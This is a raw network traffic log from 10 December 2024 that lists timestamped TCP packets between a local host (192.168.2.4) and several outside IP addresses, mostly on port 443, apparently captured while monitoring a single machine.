Dec 10, 2024 15:09:20.558347940 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.558386087 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.558428049 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.558459044 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.558506012 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.559706926 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.567115068 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.568309069 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.568341017 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.568383932 CET	49762	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.568397045 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.568543911 CET	49762	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.575093985 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.575170040 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.575198889 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.576448917 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.615832090 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.632046938 CET	49762	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.668673038 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.669509888 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.709944963 CET	49762	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.709949970 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.709956884 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.709980965 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.740617037 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.740669012 CET	49762	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.740680933 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.742515087 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.742572069 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.742603064 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.744479895 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.744539976 CET	49762	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.744757891 CET	49762	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.744771004 CET	443	49762	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.746527910 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.746577024 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.746607065 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.762882948 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.762912989 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.762950897 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.762983084 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.763041019 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.770874977 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.778578043 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.778641939 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.778667927 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.786833048 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.786885977 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.786897898 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.794807911 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.794858932 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.794867992 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.802867889 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.802918911 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.802928925 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.816999912 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.817032099 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.817060947 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.817074060 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.817133904 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.823240995 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.829433918 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.829488993 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.829495907 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.829510927 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.829556942 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.835650921 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.879154921 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.879184961 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.889384985 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:20.889427900 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:20.889497995 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:20.889714003 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:20.889728069 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:20.920449018 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.934710026 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.937030077 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.937083006 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.937099934 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.942200899 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.942250013 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.942260027 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.946832895 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.946871042 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.946881056 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.946897030 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.946934938 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.946944952 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.946988106 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.947303057 CET	49763	443	192.168.2.4	151.101.65.229
Dec 10, 2024 15:09:20.947324991 CET	443	49763	151.101.65.229	192.168.2.4
Dec 10, 2024 15:09:20.954966068 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:20.954997063 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:20.955081940 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:20.955265045 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:20.955281019 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.097604990 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.097857952 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.097871065 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.098884106 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.098943949 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.099318027 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.099379063 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.099536896 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.099545002 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.146847010 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.161266088 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.161709070 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.161731005 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.162756920 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.162832022 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.163156033 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.163223982 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.163331032 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.163340092 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.208295107 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.540405989 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.540507078 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.540541887 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.540632963 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.540658951 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.540688992 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.540738106 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.540746927 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.540781021 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.551763058 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.560216904 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.560313940 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.560380936 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.560390949 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.561307907 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.568625927 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.594165087 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.594294071 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.594321966 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.594348907 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.594389915 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.594434023 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.594450951 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.602566004 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.605242968 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.605258942 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.611109018 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.613234043 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.613257885 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.613862991 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.619424105 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.621262074 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.621274948 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.659949064 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.676420927 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.676448107 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.707664013 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.707679987 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.723535061 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.723547935 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.732872963 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.732980967 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.732991934 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.736654043 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.736705065 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.737011909 CET	49765	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.737025976 CET	443	49765	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.763309956 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.786248922 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.788525105 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.788609028 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.788641930 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.803900003 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.803937912 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.803978920 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.803997993 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.804052114 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.811675072 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.819384098 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.819437981 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.819453001 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.827192068 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.827261925 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.827275038 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.834707975 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.834819078 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.834830046 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.842528105 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.842592955 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.842626095 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.850286007 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.850368977 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.850379944 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.862098932 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.862124920 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.862166882 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.862186909 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.862268925 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.878339052 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.926419973 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.926465034 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.973222971 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.978529930 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.981528997 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.981559992 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.981595993 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.981618881 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.981687069 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.985816956 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.990401983 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.990451097 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.990466118 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.995626926 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.995704889 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.995714903 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.999248028 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:22.999480963 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.999805927 CET	49766	443	192.168.2.4	151.101.129.229
Dec 10, 2024 15:09:22.999825001 CET	443	49766	151.101.129.229	192.168.2.4
Dec 10, 2024 15:09:24.285013914 CET	443	49750	142.250.181.100	192.168.2.4
Dec 10, 2024 15:09:24.285094023 CET	443	49750	142.250.181.100	192.168.2.4
Dec 10, 2024 15:09:24.285161018 CET	49750	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:09:24.541992903 CET	49750	443	192.168.2.4	142.250.181.100
Dec 10, 2024 15:09:24.542011023 CET	443	49750	142.250.181.100	192.168.2.4
Dec 10, 2024 15:09:27.936163902 CET	49723	80	192.168.2.4	23.193.114.18
Dec 10, 2024 15:09:28.056220055 CET	80	49723	23.193.114.18	192.168.2.4
Dec 10, 2024 15:09:28.056282043 CET	49723	80	192.168.2.4	23.193.114.18
Dec 10, 2024 15:09:41.125480890 CET	49782	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:41.125515938 CET	443	49782	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:41.125610113 CET	49782	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:41.125823975 CET	49782	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:41.125833035 CET	443	49782	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:41.527160883 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:41.527215958 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:41.527299881 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:41.527661085 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:41.527704000 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:41.527755022 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:41.527924061 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:41.527946949 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:41.528064966 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:41.528079033 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.340121984 CET	443	49782	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:42.340399027 CET	49782	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:42.340416908 CET	443	49782	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:42.341417074 CET	443	49782	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:42.341481924 CET	49782	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:42.342545033 CET	49782	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:42.342596054 CET	443	49782	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:42.342813969 CET	49782	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:42.342820883 CET	443	49782	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:42.395620108 CET	49782	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:42.751280069 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.751686096 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:42.751709938 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.752690077 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.752718925 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.752777100 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:42.752855062 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:42.752867937 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.753784895 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:42.753854990 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.754075050 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:42.754081964 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.754899025 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.754956961 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:42.755970955 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:42.756031990 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.799145937 CET	443	49782	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:42.799237967 CET	443	49782	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:42.799304962 CET	49782	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:42.800575018 CET	49782	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:42.800591946 CET	443	49782	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:42.803811073 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:42.806494951 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:42.806512117 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:42.834800005 CET	49785	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:42.834825993 CET	443	49785	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:42.834888935 CET	49785	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:42.835875034 CET	49785	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:42.835886955 CET	443	49785	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:42.849875927 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:42.945121050 CET	49786	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:42.945158005 CET	443	49786	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:42.945233107 CET	49786	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:42.945447922 CET	49786	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:42.945461035 CET	443	49786	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:44.046026945 CET	443	49785	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:44.046334982 CET	49785	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:44.046355963 CET	443	49785	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:44.047411919 CET	443	49785	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:44.047487974 CET	49785	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:44.047882080 CET	49785	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:44.047894955 CET	49785	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:44.047947884 CET	443	49785	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:44.047959089 CET	49785	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:44.048022032 CET	49785	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:44.048377991 CET	49787	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:44.048407078 CET	443	49787	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:44.048461914 CET	49787	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:44.048727989 CET	49787	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:44.048743010 CET	443	49787	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:44.146790028 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:44.153541088 CET	443	49786	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:44.155272961 CET	49786	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:44.155298948 CET	443	49786	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:44.156435013 CET	443	49786	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:44.156500101 CET	49786	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:44.156847954 CET	49786	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:44.156910896 CET	443	49786	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:44.157046080 CET	49786	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:44.157053947 CET	443	49786	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:44.199776888 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:44.199795961 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:44.199840069 CET	49786	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:44.253006935 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:44.383640051 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:44.434406996 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:44.434436083 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:44.476171017 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:44.492543936 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:44.492636919 CET	443	49783	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:44.492710114 CET	49783	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:44.493813992 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:44.535337925 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:44.624437094 CET	443	49786	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:44.624524117 CET	443	49786	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:44.624596119 CET	49786	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:44.625585079 CET	49786	443	192.168.2.4	34.117.59.81
Dec 10, 2024 15:09:44.625602961 CET	443	49786	34.117.59.81	192.168.2.4
Dec 10, 2024 15:09:44.869237900 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:44.870145082 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:44.870213032 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:44.870225906 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:44.913492918 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:45.061079025 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:45.101011038 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:45.101022959 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:45.103503942 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:45.103584051 CET	443	49784	34.200.203.57	192.168.2.4
Dec 10, 2024 15:09:45.103657007 CET	49784	443	192.168.2.4	34.200.203.57
Dec 10, 2024 15:09:45.281531096 CET	443	49787	104.21.64.1	192.168.2.4
Dec 10, 2024 15:09:45.281863928 CET	49787	443	192.168.2.4	104.21.64.1
Dec 10, 2024 15:09:45.281879902 CET	443	49787	104.21.64.1	192.168.2.4
